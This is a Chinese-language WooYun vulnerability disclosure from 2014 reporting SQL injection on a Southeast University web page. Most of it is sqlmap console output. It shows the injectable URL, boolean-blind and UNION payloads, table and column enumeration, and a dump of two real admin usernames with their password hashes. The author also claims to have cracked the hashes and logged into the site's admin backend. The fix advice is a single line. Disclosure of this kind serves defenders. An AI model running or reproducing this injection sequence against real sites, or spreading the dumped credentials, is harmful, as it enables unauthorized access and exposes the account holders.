当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071165

漏洞标题:东南大学网站存在SQL注入导致管理员后台沦陷

相关厂商:CCERT教育网应急响应组

漏洞作者: 进击的zjx

提交时间:2014-08-06 10:00

修复时间:2014-09-20 10:02

公开时间:2014-09-20 10:02

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-06: 细节已通知厂商并且等待厂商处理中
2014-08-08: 厂商已经确认,细节仅向厂商公开
2014-08-18: 细节向核心白帽子及相关领域专家公开
2014-08-28: 细节向普通白帽子公开
2014-09-07: 细节向实习白帽子公开
2014-09-20: 细节向公众公开

简要描述:

测了测有注入漏洞,管理员信息泄露,可进后台

详细说明:

注入点 http://atc.seu.edu.cn/manage/PicNewsShow.asp?id=1

[19:33:19] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 co
lumns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] n
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: Microsoft Access boolean-based blind - Parameter replace (original va
lue)
Payload: id=IIF(6144=6144,1,1/0)
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,CHR(113)&CHR(99)&CHR(111)&CHR(104)&CHR(113)&CHR(121)&CHR(116)&CHR
(108)&CHR(122)&CHR(70)&CHR(65)&CHR(89)&CHR(70)&CHR(87)&CHR(72)&CHR(113)&CHR(102)
&CHR(117)&CHR(115)&CHR(113),NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[19:33:39] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access


盲注成功

C:\Python27\sqlmap>sqlmap.py -u http://atc.seu.edu.cn/manage/PicNewsShow.asp?id=
1 --tables --threads 10
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:34:01
[19:34:01] [INFO] resuming back-end DBMS 'microsoft access'
[19:34:01] [INFO] testing connection to the target URL
[19:34:02] [INFO] heuristics detected web page charset 'GB2312'
[19:34:02] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: Microsoft Access boolean-based blind - Parameter replace (original va
lue)
Payload: id=IIF(6144=6144,1,1/0)
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,CHR(113)&CHR(99)&CHR(111)&CHR(104)&CHR(113)&CHR(121)&CHR(116)&CHR
(108)&CHR(122)&CHR(70)&CHR(65)&CHR(89)&CHR(70)&CHR(87)&CHR(72)&CHR(113)&CHR(102)
&CHR(117)&CHR(115)&CHR(113),NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[19:34:02] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[19:34:02] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[19:34:02] [WARNING] something went wrong with full UNION technique (most probab
ly because of limitation on retrieved number of entries). Falling back to partia
l UNION technique
[19:34:02] [WARNING] the SQL query provided does not return any output
[19:34:02] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast'
[19:34:02] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[19:34:02] [INFO] retrieved:
[19:34:03] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[19:34:03] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q] y
[19:34:05] [WARNING] it's not recommended to use 'AND/OR time-based blind' and/o
r 'stacked queries' for common table existence check
are you sure you want to continue? [y/N] y
[19:34:06] [INFO] checking table existence using items from 'C:\Python27\sqlmap\
txt\common-tables.txt'
[19:34:06] [INFO] adding words used on web page to the check list
[19:34:06] [INFO] starting 10 threads
[19:34:07] [INFO] retrieved: users
[19:34:08] [INFO] retrieved: menu
[19:34:10] [INFO] retrieved: news
[19:34:14] [INFO] retrieved: links
Database: Microsoft_Access_masterdb
[4 tables]
+-------+
| links |
| menu |
| news |
| users |
+-------+
[19:36:26] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3145 times
[*] shutting down at 19:36:26
C:\Python27\sqlmap>sqlmap.py -u http://atc.seu.edu.cn/manage/PicNewsShow.asp?id=
1 -T users --columns
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:37:19
[19:37:19] [INFO] resuming back-end DBMS 'microsoft access'
[19:37:19] [INFO] testing connection to the target URL
[19:37:21] [INFO] heuristics detected web page charset 'GB2312'
[19:37:21] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: Microsoft Access boolean-based blind - Parameter replace (original va
lue)
Payload: id=IIF(6144=6144,1,1/0)
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,CHR(113)&CHR(99)&CHR(111)&CHR(104)&CHR(113)&CHR(121)&CHR(116)&CHR
(108)&CHR(122)&CHR(70)&CHR(65)&CHR(89)&CHR(70)&CHR(87)&CHR(72)&CHR(113)&CHR(102)
&CHR(117)&CHR(115)&CHR(113),NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[19:37:21] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[19:37:21] [ERROR] cannot retrieve column names, back-end DBMS is Access
do you want to use common column existence check? [Y/n/q] y
[19:37:23] [WARNING] it's not recommended to use 'AND/OR time-based blind' and/o
r 'stacked queries' for common column existence check
are you sure you want to continue? [y/N] y
[19:37:26] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast'
[19:37:26] [INFO] checking column existence using items from 'C:\Python27\sqlmap
\txt\common-columns.txt'
[19:37:26] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[19:37:27] [INFO] starting 10 threads
[19:37:28] [INFO] retrieved: id
[19:37:28] [INFO] retrieved: userid
[19:37:31] [INFO] retrieved: data
[19:37:37] [INFO] retrieved: password
Database: Microsoft_Access_masterdb
Table: users
[4 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| data | non-numeric |
| id | numeric |
| password | non-numeric |
| userid | non-numeric |
+----------+-------------+
[19:39:14] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2502 times
[*] shutting down at 19:39:14
C:\Python27\sqlmap>sqlmap.py -u http://atc.seu.edu.cn/manage/PicNewsShow.asp?id=
1 -T users -C userid,password --dump
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:39:39
[19:39:39] [INFO] resuming back-end DBMS 'microsoft access'
[19:39:39] [INFO] testing connection to the target URL
[19:39:40] [INFO] heuristics detected web page charset 'GB2312'
[19:39:40] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: Microsoft Access boolean-based blind - Parameter replace (original va
lue)
Payload: id=IIF(6144=6144,1,1/0)
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,CHR(113)&CHR(99)&CHR(111)&CHR(104)&CHR(113)&CHR(121)&CHR(116)&CHR
(108)&CHR(122)&CHR(70)&CHR(65)&CHR(89)&CHR(70)&CHR(87)&CHR(72)&CHR(113)&CHR(102)
&CHR(117)&CHR(115)&CHR(113),NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[19:39:40] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[19:39:40] [ERROR] cannot retrieve column names, back-end DBMS is Access
[19:39:40] [INFO] fetching entries of column(s) 'data, id, password, userid' for
table 'users' in database 'Microsoft_Access_masterdb'
[19:39:40] [WARNING] something went wrong with full UNION technique (most probab
ly because of limitation on retrieved number of entries). Falling back to partia
l UNION technique
[19:39:41] [INFO] the SQL query used returns 2 entries
[19:39:42] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast'
[19:39:42] [INFO] fetching number of column(s) 'data, id, password, userid' entr
ies for table 'users' in database 'Microsoft_Access_masterdb'
[19:39:42] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[19:39:42] [INFO] retrieved: 2
[19:39:44] [INFO] fetching number of distinct values for column 'id'
[19:39:44] [INFO] retrieved: 2
[19:39:47] [INFO] using column 'id' as a pivot for retrieving row data
[19:39:47] [INFO] retrieved: 69
[19:39:53] [INFO] retrieved:
[19:39:55] [INFO] retrieved: jingly_yan
[19:40:42] [INFO] retrieved: 7eac1df85da498fe6f62a8c621c97358
[19:41:52] [INFO] retrieved: 70
[19:41:58] [INFO] retrieved:
[19:42:00] [INFO] retrieved: lichen
[19:42:16] [INFO] retrieved: 7d25a9be43af3bb31683cb78688e44c7
[19:43:26] [INFO] analyzing table dump for possible password hashes
[19:43:26] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing
with other tools [y/N] y
Database: Microsoft_Access_masterdb
Table: users
[2 entries]
+----+------------+------+----------------------------------+
| id | userid | data | password |
+----+------------+------+----------------------------------+
| 69 | jingly_yan | <blank> | 7eac1df85da498fe6f62a8c621c97358 |
| 70 | lichen | <blank> | 7d25a9be43af3bb31683cb78688e44c7 |
+----+------------+------+----------------------------------+


之后解密获得密码。
然后找到后台 http://atc.seu.edu.cn/manage/

后台管理.jpg


成功登陆后台,可任意修改操作,增删管理员等。。

漏洞证明:

见详细说明

修复方案:

过滤,预编译等等

版权声明:转载请注明来源 进击的zjx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-08-08 10:20

厂商回复:

已通知相关学校处理

最新状态:

暂无